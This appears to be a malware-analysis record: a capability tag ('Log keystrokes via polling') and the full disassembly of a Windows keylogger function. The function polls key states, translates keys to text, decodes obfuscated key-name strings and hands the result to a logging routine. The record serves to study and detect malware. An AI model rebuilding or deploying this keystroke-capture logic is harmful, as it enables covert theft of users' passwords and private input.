Function at 0x40db3b
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebx
sub esp, 0x178
mov dword [esp + 0x16c], 0
mov dword [esp], 0x12
call sub.USER32.dll_GetKeyState
sub esp, 4
cwde
and eax, 0x8000
mov dword [esp + 0x168], eax
mov dword [esp], 0x14
call sub.USER32.dll_GetKeyState
sub esp, 4
mov dword [esp], 0x91
call sub.USER32.dll_GetKeyState
sub esp, 4
mov dword [esp], 0x90
call sub.USER32.dll_GetKeyState
sub esp, 4
lea eax, [esp + 0x68]
mov dword [esp], eax
call sub.USER32.dll_GetKeyboardState
sub esp, 4
mov eax, dword [esp + 0x180]
sub eax, 8
cmp eax, 0x89
ja case.0x40dbc1.10
mov eax, dword [eax*4 + 0x41f08c]
jmp eax
mov dword [esp], str._cCYw6sCYd_
call fcn.0040b60e
mov dword [esp + 8], eax
mov dword [esp + 4], 0x20
lea eax, [esp + 0x28]
mov dword [esp], eax
call fcn.00419fa8
mov dword [esp + 0x16c], eax
jmp 0x40e0e7
mov dword [esp], str._jR5d0_
call fcn.0040b60e
mov dword [esp + 8], eax
mov dword [esp + 4], 0x20
lea eax, [esp + 0x28]
mov dword [esp], eax
call fcn.00419fa8
mov dword [esp + 0x16c], eax
jmp 0x40e0e7
mov dword [esp], str._qCV_
call fcn.0040b60e
mov dword [esp + 8], eax
mov dword [esp + 4], 0x20
lea eax, [esp + 0x28]
mov dword [esp], eax
call fcn.00419fa8
mov dword [esp + 0x16c], eax
jmp 0x40e0e7
mov dword [esp], str._D00Wg_md85_
call fcn.0040b60e
mov dword [esp + 8], eax
mov dword [esp + 4], 0x20
lea eax, [esp + 0x28]
mov dword [esp], eax
call fcn.00419fa8
mov dword [esp + 0x16c], eax
jmp 0x40e0e7
mov dword [esp], str._D00Wg_us_
call fcn.0040b60e
mov dword [esp + 8], eax
mov dword [esp + 4], 0x20
lea eax, [esp + 0x28]
mov dword [esp], eax
call fcn.00419fa8
mov dword [esp + 0x16c], eax
jmp 0x40e0e7
mov dword [esp], str._D00Wg_r4nI5_
call fcn.0040b60e
mov dword [esp + 8], eax
mov dword [esp + 4], 0x20
lea eax, [esp + 0x28]
mov dword [esp], eax
call fcn.00419fa8
mov dword [esp + 0x16c], eax
jmp 0x40e0e7
mov dword [esp], str._D00Wg_aWgR_
call fcn.0040b60e
mov dword [esp + 8], eax
mov dword [esp + 4], 0x20
lea eax, [esp + 0x28]
mov dword [esp], eax
call fcn.00419fa8
mov dword [esp + 0x16c], eax
jmp 0x40e0e7
mov dword [esp], str.__Wld_
call fcn.0040b60e
mov dword [esp + 8], eax
mov dword [esp + 4], 0x20
lea eax, [esp + 0x28]
mov dword [esp], eax
call fcn.00419fa8
mov dword [esp + 0x16c], eax
jmp 0x40e0e7
mov dword [esp], str._9Cnd_us_
call fcn.0040b60e
mov dword [esp + 8], eax
mov dword [esp + 4], 0x20
lea eax, [esp + 0x28]
mov dword [esp], eax
call fcn.00419fa8
mov dword [esp + 0x16c], eax
jmp 0x40e0e7
mov dword [esp], str._9Cnd_aWgR_
call fcn.0040b60e
mov dword [esp + 8], eax
mov dword [esp + 4], 0x20
lea eax, [esp + 0x28]
mov dword [esp], eax
call fcn.00419fa8
mov dword [esp + 0x16c], eax
jmp 0x40e0e7
mov dword [esp], str._jRS_
call fcn.0040b60e
mov dword [esp + 8], eax
mov dword [esp + 4], 0x20
lea eax, [esp + 0x28]
mov dword [esp], eax
call fcn.00419fa8
mov dword [esp + 0x16c], eax
jmp 0x40e0e7
mov dword [esp], str._c0dCw_
call fcn.0040b60e
mov dword [esp + 8], eax
mov dword [esp + 4], 0x20
lea eax, [esp + 0x28]
mov dword [esp], eax
call fcn.00419fa8
mov dword [esp + 0x16c], eax
jmp 0x40e0e7
mov dword [esp], str._adid5d_
call fcn.0040b60e
mov dword [esp + 8], eax
mov dword [esp + 4], 0x20
lea eax, [esp + 0x28]
mov dword [esp], eax
call fcn.00419fa8
mov dword [esp + 0x16c], eax
jmp 0x40e0e7
mov dword [esp], str._XR6d05_
call fcn.0040b60e
mov dword [esp + 8], eax
mov dword [esp + 4], 0x20
lea eax, [esp + 0x28]
mov dword [esp], eax
call fcn.00419fa8
mov dword [esp + 0x16c], eax
jmp 0x40e0e7
mov dword [esp], str._904R5_MY0ddR_
call fcn.0040b60e
mov dword [esp + 8], eax
mov dword [esp + 4], 0x20
lea eax, [esp + 0x28]
mov dword [esp], eax
call fcn.00419fa8
mov dword [esp + 0x16c], eax
jmp 0x40e0e7
mov dword [esp], str._MY0Wii_mWYw_
call fcn.0040b60e
mov dword [esp + 8], eax
mov dword [esp + 4], 0x20
lea eax, [esp + 0x28]
mov dword [esp], eax
call fcn.00419fa8
mov dword [esp + 0x16c], eax
jmp 0x40e0e7
mov dword [esp], str._PCs6_mWYw_
call fcn.0040b60e
mov dword [esp + 8], eax
mov dword [esp + 4], 0x20
lea eax, [esp + 0x28]
mov dword [esp], eax
call fcn.00419fa8
mov dword [esp + 0x16c], eax
jmp 0x40e0e7
mov dword [esp], str._j6Y_
call fcn.0040b60e
mov dword [esp + 8], eax
mov dword [esp + 4], 0x20
lea eax, [esp + 0x28]
mov dword [esp], eax
call fcn.00419fa8
mov dword [esp + 0x16c], eax
jmp 0x40e0e7
mov dword [esp + 4], 0
mov eax, dword [esp + 0x180]
mov dword [esp], eax
call sub.USER32.dll_MapVirtualKeyA
sub esp, 8
mov dword [esp + 0x10], 0
lea edx, [esp + 0x26]
mov dword [esp + 0xc], edx
lea edx, [esp + 0x68]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [esp + 0x180]
mov dword [esp], eax
call sub.USER32.dll_ToAscii
sub esp, 0x14
cmp eax, 1
jne 0x40e006
mov dword [esp], 0x11
call sub.USER32.dll_GetKeyState
sub esp, 4
cmp ax, 1
jbe 0x40dfd2
cmp dword [esp + 0x168], 0
jne 0x40dfd2
movzx eax, word [esp + 0x26]
movzx eax, al
lea ebx, [eax + 0x40]
mov dword [esp], str._P50i_Y_
call fcn.0040b60e
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], 0x20
lea eax, [esp + 0x28]
mov dword [esp], eax
call fcn.00419fa8
mov dword [esp + 0x16c], eax
jmp 0x40e0e1
movzx eax, word [esp + 0x26]
movzx eax, al
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x41f082
mov dword [esp + 4], 0x20
lea eax, [esp + 0x28]
mov dword [esp], eax
call fcn.00419fa8
mov dword [esp + 0x16c], eax
jmp 0x40e0e6
mov dword [esp + 4], 0
mov eax, dword [esp + 0x180]
mov dword [esp], eax
call sub.USER32.dll_MapVirtualKeyA
sub esp, 8
shl eax, 0x10
mov dword [esp + 8], 0x20
lea edx, [esp + 0x48]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.USER32.dll_GetKeyNameTextA
sub esp, 0xc
test eax, eax
jle 0x40e0e6
mov dword [esp], 0x11
call sub.USER32.dll_GetKeyState
sub esp, 4
cmp ax, 1
jbe 0x40e0b4
cmp dword [esp + 0x168], 0
jne 0x40e0b4
cmp dword [esp + 0x180], 0x2f
jbe 0x40e0b4
cmp dword [esp + 0x180], 0x39
ja 0x40e0b4
mov eax, dword [esp + 0x180]
movzx ebx, al
mov dword [esp], str._P50i_Y_
call fcn.0040b60e
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], 0x20
lea eax, [esp + 0x28]
mov dword [esp], eax
call fcn.00419fa8
mov dword [esp + 0x16c], eax
jmp 0x40e0e1
lea eax, [esp + 0x48]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str.__s_
mov dword [esp + 4], 0x20
lea eax, [esp + 0x28]
mov dword [esp], eax
call fcn.00419fa8
mov dword [esp + 0x16c], eax
jmp 0x40e0e6
jmp 0x40e0e6
nop
jmp 0x40e0e7
nop
cmp dword [esp + 0x16c], 0
jle 0x40e125
call fcn.0040da18
mov dword [esp + 8], 0
mov eax, dword [esp + 0x16c]
mov dword [esp + 4], eax
lea eax, [esp + 0x28]
mov dword [esp], eax
call fcn.0040d74c
test eax, eax
jne 0x40e125
mov dword [0x41e7c0], 1
nop
nop
nop
add esp, 0x178
pop ebx
ret